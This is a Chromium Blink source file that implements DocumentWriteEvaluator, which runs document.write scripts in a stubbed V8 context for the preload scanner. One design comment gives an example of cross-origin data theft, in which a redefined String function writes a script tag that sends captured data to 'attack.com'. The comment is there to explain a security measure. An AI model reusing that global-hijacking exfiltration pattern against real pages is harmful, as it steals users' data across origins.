blob: deaa17488003641c9421339cd5acfaa4b7c86fb2 [file] [log] [blame]
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "bindings/core/v8/DocumentWriteEvaluator.h"
#include "bindings/core/v8/ScriptSourceCode.h"
#include "bindings/core/v8/V8BindingMacros.h"
#include "bindings/core/v8/V8ScriptRunner.h"
#include "core/frame/Location.h"
#include "core/html/parser/HTMLParserThread.h"
#include "platform/TraceEvent.h"
#include "wtf/text/StringUTF8Adaptor.h"
#include <v8.h>
namespace blink {
namespace {
void documentWriteCallback(const v8::FunctionCallbackInfo<v8::Value>& args) {
void* ptr = v8::Local<v8::External>::Cast(args.Data())->Value();
DocumentWriteEvaluator* evaluator = static_cast<DocumentWriteEvaluator*>(ptr);
v8::HandleScope scope(args.GetIsolate());
for (int i = 0; i < args.Length(); i++) {
evaluator->recordDocumentWrite(
toCoreStringWithNullCheck(args[i]->ToString()));
}
}
} // namespace
DocumentWriteEvaluator::DocumentWriteEvaluator(const Document& document) {
// Note, evaluation will only proceed if |location| is not null.
Location* location = document.location();
if (location) {
m_pathName = location->pathname();
m_hostName = location->hostname();
m_protocol = location->protocol();
}
m_userAgent = document.userAgent();
}
// For unit testing.
DocumentWriteEvaluator::DocumentWriteEvaluator(const String& pathName,
const String& hostName,
const String& protocol,
const String& userAgent)
: m_pathName(pathName),
m_hostName(hostName),
m_protocol(protocol),
m_userAgent(userAgent) {}
DocumentWriteEvaluator::~DocumentWriteEvaluator() {}
// Create a new context and global stubs lazily. Note that we must have a
// separate v8::Context per HTMLDocumentParser. Separate Documents cannot share
// contexts. For instance:
// Origin A:
// <script>
// var String = function(capture) {
// document.write(<script src="http://attack.com/url=" + capture/>);
// }
// </script>
//
// Now, String is redefined in the context to capture user information and post
// to the evil site. If the user navigates to another origin that the preloader
// targets for evaluation, their data is vulnerable. E.g.
// Origin B:
// <script>
// var userData = [<secret data>, <more secret data>];
// document.write("<script src='/postData/'"+String(userData)+"' />");
// </script>
bool DocumentWriteEvaluator::ensureEvaluationContext() {
if (!m_persistentContext.isEmpty())
return false;
TRACE_EVENT0("blink", "DocumentWriteEvaluator::initializeEvaluationContext");
ASSERT(m_persistentContext.isEmpty());
v8::Isolate* isolate = V8PerIsolateData::mainThreadIsolate();
v8::Isolate::Scope isolateScope(isolate);
v8::HandleScope handleScope(isolate);
v8::Local<v8::Context> context = v8::Context::New(isolate);
m_persistentContext.set(isolate, context);
v8::Context::Scope contextScope(context);
// Initialize global objects.
m_window.set(isolate, v8::Object::New(isolate));
m_location.set(isolate, v8::Object::New(isolate));
m_navigator.set(isolate, v8::Object::New(isolate));
m_document.set(isolate, v8::Object::New(isolate));
// Initialize strings that are used more than once.
v8::Local<v8::String> locationString = v8String(isolate, "location");
v8::Local<v8::String> navigatorString = v8String(isolate, "navigator");
v8::Local<v8::String> documentString = v8String(isolate, "document");
m_window.newLocal(isolate)->Set(locationString, m_location.newLocal(isolate));
m_window.newLocal(isolate)->Set(documentString, m_document.newLocal(isolate));
m_window.newLocal(isolate)->Set(navigatorString,
m_navigator.newLocal(isolate));
v8::Local<v8::FunctionTemplate> writeTemplate = v8::FunctionTemplate::New(
isolate, documentWriteCallback, v8::External::New(isolate, this));
writeTemplate->RemovePrototype();
m_document.newLocal(isolate)->Set(locationString,
m_location.newLocal(isolate));
m_document.newLocal(isolate)->Set(v8String(isolate, "write"),
writeTemplate->GetFunction());
m_document.newLocal(isolate)->Set(v8String(isolate, "writeln"),
writeTemplate->GetFunction());
m_location.newLocal(isolate)->Set(v8String(isolate, "pathname"),
v8String(isolate, m_pathName));
m_location.newLocal(isolate)->Set(v8String(isolate, "hostname"),
v8String(isolate, m_hostName));
m_location.newLocal(isolate)->Set(v8String(isolate, "protocol"),
v8String(isolate, m_protocol));
m_navigator.newLocal(isolate)->Set(v8String(isolate, "userAgent"),
v8String(isolate, m_userAgent));
v8CallBoolean(context->Global()->Set(context, v8String(isolate, "window"),
m_window.newLocal(isolate)));
v8CallBoolean(context->Global()->Set(context, documentString,
m_document.newLocal(isolate)));
v8CallBoolean(context->Global()->Set(context, locationString,
m_location.newLocal(isolate)));
v8CallBoolean(context->Global()->Set(context, navigatorString,
m_navigator.newLocal(isolate)));
return true;
}
bool DocumentWriteEvaluator::evaluate(const String& scriptSource) {
TRACE_EVENT0("blink", "DocumentWriteEvaluator::evaluate");
v8::Isolate* isolate = V8PerIsolateData::mainThreadIsolate();
v8::Isolate::Scope isolateScope(isolate);
v8::HandleScope handleScope(isolate);
v8::Context::Scope contextScope(m_persistentContext.newLocal(isolate));
// TODO(csharrison): Consider logging compile / execution error counts.
StringUTF8Adaptor sourceUtf8(scriptSource);
v8::MaybeLocal<v8::String> source =
v8::String::NewFromUtf8(isolate, sourceUtf8.data(),
v8::NewStringType::kNormal, sourceUtf8.length());
if (source.IsEmpty())
return false;
v8::TryCatch tryCatch(isolate);
return !V8ScriptRunner::compileAndRunInternalScript(source.ToLocalChecked(),
isolate)
.IsEmpty();
}
bool DocumentWriteEvaluator::shouldEvaluate(const String& source) {
return !m_hostName.isEmpty() && !m_userAgent.isEmpty();
}
String DocumentWriteEvaluator::evaluateAndEmitWrittenSource(
const String& scriptSource) {
if (!shouldEvaluate(scriptSource))
return "";
TRACE_EVENT0("blink", "DocumentWriteEvaluator::evaluateAndEmitStartTokens");
m_documentWrittenStrings.clear();
evaluate(scriptSource);
return m_documentWrittenStrings.toString();
}
void DocumentWriteEvaluator::recordDocumentWrite(
const String& documentWrittenString) {
m_documentWrittenStrings.append(documentWrittenString);
}
} // namespace blink